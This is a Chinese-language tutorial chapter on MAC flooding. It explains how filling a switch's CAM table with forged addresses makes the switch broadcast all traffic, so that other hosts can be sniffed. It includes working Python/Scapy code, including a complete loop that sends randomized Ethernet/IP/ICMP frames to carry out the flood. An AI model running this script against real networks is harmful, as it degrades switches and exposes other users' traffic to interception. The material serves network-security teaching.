Python灰帽編程 3.3 MAC洪水
傳統的交換機(我只對我目前使用的交互機做過測試,按照常識只能這樣表述)在數據轉發過程中依靠對CAM表的查詢來確定正確的轉發接口,一旦在查詢過程中無法找到相關目的MAC對應的條目,此數據幀將作爲廣播幀來處理。CAM表的容量有限,只能儲存不多的條目,當CAM表記錄的MAC地址達到上限後,新的條目將不會添加到CAM表中。
基於以上原理,我們會發現一個非常有趣的現象。某臺PC不斷髮送去往未知目的地的數據幀,且每個包的源MAC地址都不同,當這樣 的數據包發送的速度足夠快之後,快到在刷新時間內將交換機的CAM表迅速填滿。CAM表被這些僞造的MAC地址佔據,真實的MA C地址條目卻無法進入CAM表。那麼任何一個經過交換機的正常單播數據幀都會以廣播幀的形式來處理。交換機在此種情況下被降級爲Hub。
交換機降級爲hub之後,我們就可以監聽所有連接到該交換機的主機的數據了。
當然,具體交互設備對ARP洪水的響應是不一樣的,需要實地測試。下面我們進入編程環節。
3.3.1 編碼實戰
構造隨機的MAC和IP地址方法有很多,因爲地址的標準格式在那裏,很容易拼裝。這裏要給大家介紹的是scapy模塊中的RandMAC和RandIP方法。這兩個方法用來隨機產生MAC地址和IP地址,方法接收模板參數,來產生特定網段的地址。
例如下面的代碼:
#!/usr/bin/python
from scapy.all import *
i=5
while(i):
print RandMAC()
print RandIP()
i=i-1
運行結果如下圖:
圖2
如果需要產生固定網段的IP,可以輸入指定的模板。
#!/usr/bin/python
from scapy.all import *
i=5
while(i):
print RandIP("192.168.1.*")
i=i-1
運行結果如下:
圖3
隨機的問題解決之後,下面我們考慮下什麼樣的數據包能達到目的呢?回看一下前文提到的內容,只要我們的數據包中有指定的源IP和MAC,那麼交換機就會進行記錄。
例如ARP包:
Ether(src=RandMAC(),dst="FF:FF:FF:FF:FF:FF")/ARP(op=2, psrc="0.0.0.0", hwdst="FF:FF:FF:FF:FF:FF")/Padding(load="X"*18))
例如ICMP包:
Ether(src=RandMAC("*:*:*:*:*:*"),
dst=RandMAC("*:*:*:*:*:*")) / \
IP(src=RandIP("*.*.*.*"),
dst=RandIP("*.*.*.*")) / \
ICMP()
兩個核心問題解決了,可以寫完整的代碼了:
圖4
#!/usr/bin/python
import sys
from scapy.all import *
import time
iface="eth0"
if len(sys.argv)>=2:
iface=sys.argv[1]
while(1):
packet= Ether(src=RandMAC("*:*:*:*:*:*"),
dst=RandMAC("*:*:*:*:*:*")) / \
IP(src=RandIP("*.*.*.*"),
dst=RandIP("*.*.*.*")) / \
ICMP()
time.sleep(0.5)
sendp(packet,iface=iface,loop=0)
上面的代碼通過不停的發送ICMP數據包,來實現MAC洪水攻擊。運行結果如下:
圖5
3.3.2 小結
本節的內容在編程上沒有什麼新的知識值得探討,主要希望大家對交換網絡和以太網的理解通過編程的方式進一步加深。
下一節,我們一起探討下針對VLAN的攻擊。
第3.3節《VLAN攻擊》已經在微信訂閱號搶先發布,心急的同學進入訂閱號(二維碼在下方),從菜單“專欄”—>”Python黑帽編程”進入即可。
查看完整系列教程,請關注我的微信訂閱號(xuanhun521,下方二維碼),回覆“python”。問題討論請加qq羣:Hacking (1羣):303242737 Hacking (2羣):147098303。
玄魂工作室-精彩不斷